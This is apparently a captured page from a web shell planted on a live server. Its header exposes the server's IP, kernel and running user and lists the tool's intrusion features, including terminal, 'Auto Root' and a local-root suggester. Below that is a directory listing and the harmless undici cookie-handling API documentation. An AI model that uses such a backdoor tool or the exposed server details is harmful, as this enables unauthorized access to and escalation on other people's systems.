Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.216.250
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
node-undici /
api /
Delete
Unzip
Name
Size
Permission
Date
Action
Agent.md
2.73
KB
-rw-r--r--
2023-10-11 19:12
BalancedPool.md
2.75
KB
-rw-r--r--
2023-10-11 19:12
CacheStorage.md
1.05
KB
-rw-r--r--
2023-10-11 19:12
Client.md.gz
3.4
KB
-rw-r--r--
2023-10-11 19:12
Connector.md
3.38
KB
-rw-r--r--
2023-10-11 19:12
ContentType.md
1.1
KB
-rw-r--r--
2023-10-11 19:12
Cookies.md
2
KB
-rw-r--r--
2023-10-11 19:12
DiagnosticsChannel.md.gz
1.38
KB
-rw-r--r--
2023-10-11 19:12
DispatchInterceptor.md
1.49
KB
-rw-r--r--
2023-10-11 19:12
Dispatcher.md.gz
6.55
KB
-rw-r--r--
2023-10-11 19:12
Errors.md
3.48
KB
-rw-r--r--
2023-10-11 19:12
Fetch.md
1.17
KB
-rw-r--r--
2023-10-11 19:12
MockAgent.md.gz
2.97
KB
-rw-r--r--
2023-10-11 19:12
MockClient.md
1.97
KB
-rw-r--r--
2023-10-11 19:12
MockErrors.md
595
B
-rw-r--r--
2023-10-11 19:12
MockPool.md.gz
2.95
KB
-rw-r--r--
2023-10-11 19:12
Pool.md
2.7
KB
-rw-r--r--
2023-10-11 19:12
PoolStats.md
775
B
-rw-r--r--
2023-10-11 19:12
ProxyAgent.md
3.72
KB
-rw-r--r--
2023-10-11 19:12
WebSocket.md
1.46
KB
-rw-r--r--
2023-10-11 19:12
api-lifecycle.md.gz
2.62
KB
-rw-r--r--
2023-10-11 19:12
Save
Rename
# Cookie Handling ## `Cookie` interface * **name** `string` * **value** `string` * **expires** `Date|number` (optional) * **maxAge** `number` (optional) * **domain** `string` (optional) * **path** `string` (optional) * **secure** `boolean` (optional) * **httpOnly** `boolean` (optional) * **sameSite** `'String'|'Lax'|'None'` (optional) * **unparsed** `string[]` (optional) Left over attributes that weren't parsed. ## `deleteCookie(headers, name[, attributes])` Sets the expiry time of the cookie to the unix epoch, causing browsers to delete it when received. ```js import { deleteCookie, Headers } from 'undici' const headers = new Headers() deleteCookie(headers, 'name') console.log(headers.get('set-cookie')) // name=; Expires=Thu, 01 Jan 1970 00:00:00 GMT ``` Arguments: * **headers** `Headers` * **name** `string` * **attributes** `{ path?: string, domain?: string }` (optional) Returns: `void` ## `getCookies(headers)` Parses the `Cookie` header and returns a list of attributes and values. ```js import { getCookies, Headers } from 'undici' const headers = new Headers({ cookie: 'get=cookies; and=attributes' }) console.log(getCookies(headers)) // { get: 'cookies', and: 'attributes' } ``` Arguments: * **headers** `Headers` Returns: `Record<string, string>` ## `getSetCookies(headers)` Parses all `Set-Cookie` headers. ```js import { getSetCookies, Headers } from 'undici' const headers = new Headers({ 'set-cookie': 'undici=getSetCookies; Secure' }) console.log(getSetCookies(headers)) // [ // { // name: 'undici', // value: 'getSetCookies', // secure: true // } // ] ``` Arguments: * **headers** `Headers` Returns: `Cookie[]` ## `setCookie(headers, cookie)` Appends a cookie to the `Set-Cookie` header. ```js import { setCookie, Headers } from 'undici' const headers = new Headers() setCookie(headers, { name: 'undici', value: 'setCookie' }) console.log(headers.get('Set-Cookie')) // undici=setCookie ``` Arguments: * **headers** `Headers` * **cookie** `Cookie` Returns: `void`